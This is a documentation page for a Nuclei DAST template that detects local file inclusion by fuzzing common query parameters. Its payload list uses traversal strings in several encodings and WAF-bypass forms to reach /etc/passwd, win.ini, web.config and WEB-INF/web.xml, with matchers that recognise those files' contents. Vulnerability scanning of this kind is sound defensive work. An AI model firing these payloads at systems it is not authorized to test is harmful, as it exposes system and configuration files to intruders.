Skip to content
Nuclei Templates

LFI Detection - Keyed

ID: lfi-keyed

Severity: high

Author: pwnhxl

Tags: dast,pathtraversal,lfi

Description

Section titled “Description”

YAML Source

Section titled “YAML Source”
id: lfi-keyed


info:
  name: LFI Detection - Keyed
  author: pwnhxl
  severity: high
  reference:
    - https://owasp.org/www-community/attacks/Unicode_Encoding
  metadata:
    max-request: 25
  tags: dast,pathtraversal,lfi


variables:
  fuzz: "../../../../../../../../../../../../../../../"
  fuzz_urlx2_encode: "%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f"
  fuzz_hex_unicode: "%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002f"
  fuzz_utf8_unicode: "%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF"
  fuzz_utf8_unicode_x: "%C0AE%C0AE%C0AF%C0AE%C0AE%C0AF%C0AE%C0AE%C0AF%C0AE%C0AE%C0AF%C0AE%C0AE%C0AF%C0AE%C0AE%C0AF%C0AE%C0AE%C0AF%C0AE%C0AE%C0AF%C0AE%C0AE%C0AF%C0AE%C0AE%C0AF%C0AE%C0AE%C0AF%C0AE%C0AE%C0AF%C0AE%C0AE%C0AF%C0AE%C0AE%C0AF%C0AE%C0AE%C0AF"
  fuzz_bypass_replace: ".../.../.../.../.../.../.../.../.../.../.../.../.../.../.../"
  fuzz_bypass_replace_windows: '..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\'
  fuzz_bypass_waf_regx: "./.././.././.././.././.././.././.././.././.././.././.././.././.././.././../"


http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'


    payloads:
      pathtraversal:
        - '{{fuzz}}etc/passwd'
        - '{{fuzz}}windows/win.ini'
        - '/etc/passwd%00.jpg'
        - 'c:/windows/win.ini%00.jpg'
        - '{{fuzz}}etc/passwd%00.jpg'
        - '{{fuzz}}windows/win.ini%00.jpg'
        - '{{fuzz_urlx2_encode}}etc%252fpasswd'
        - '{{fuzz_urlx2_encode}}windows%252fwin.ini'
        - '{{fuzz_hex_unicode}}etc%u002fpasswd'
        - '{{fuzz_hex_unicode}}windows%u002fwin.ini'
        - '{{fuzz_utf8_unicode}}etc%C0%AFpasswd'
        - '{{fuzz_utf8_unicode}}windows%C0%AFwin.ini'
        - '{{fuzz_utf8_unicode_x}}etc%C0AFpasswd'
        - '{{fuzz_utf8_unicode_x}}windows%C0AFwin.ini'
        - '{{fuzz_bypass_replace}}etc/passwd'
        - '{{fuzz_bypass_replace}}windows/win.ini'
        - '{{fuzz_bypass_replace_windows}}windows\win.ini'
        - '{{fuzz_bypass_waf_regx}}etc/passwd'
        - '{{fuzz_bypass_waf_regx}}windows/win.ini'
        - './web.config'
        - '../web.config'
        - '../../web.config'
        - './WEB-INF/web.xml'
        - '../WEB-INF/web.xml'
        - '../../WEB-INF/web.xml'


    fuzzing:
      - part: query
        mode: single
        keys:
          - cat
          - dir
          - action
          - board
          - date
          - detail
          - file
          - download
          - path
          - folder
          - prefix
          - include
          - page
          - inc
          - locate
          - show
          - doc
          - site
          - type
          - view
          - content
          - document
          - layout
          - mod
          - conf
          - url
          - img
          - image
          - images
        fuzz:
          - "{{pathtraversal}}"


      - part: query
        mode: single
        values:
          - "^(./|../|/)|(.html|.htm|.xml|.conf|.cfg|.log|.txt|.pdf|.doc|.docx|.xls|.csv|.png|.jpg|.gif)$"
        fuzz:
          - "{{pathtraversal}}"


    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*?:[0-9]*:[0-9]*:'


      - type: word
        part: body
        words:
          - 'for 16-bit app support'


      - type: regex
        part: body
        regex:
          - '(<web-app[\s\S]+<\/web-app>)'


      - type: regex
        part: body
        regex:
          - '(<system.webServer[\s\S]+<\/system.webServer>)'
# digest: 4a0a0047304502202114e3cc18e3be37d3feba20cbf4bd47253c21f71707cf188ae7d73ba8b6a5d6022100bfd226b80fe03a464014b44ccb1988ddf618d7cb3b00be0b5f82973903a592e1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/lfi/lfi-keyed.yaml"

View on Github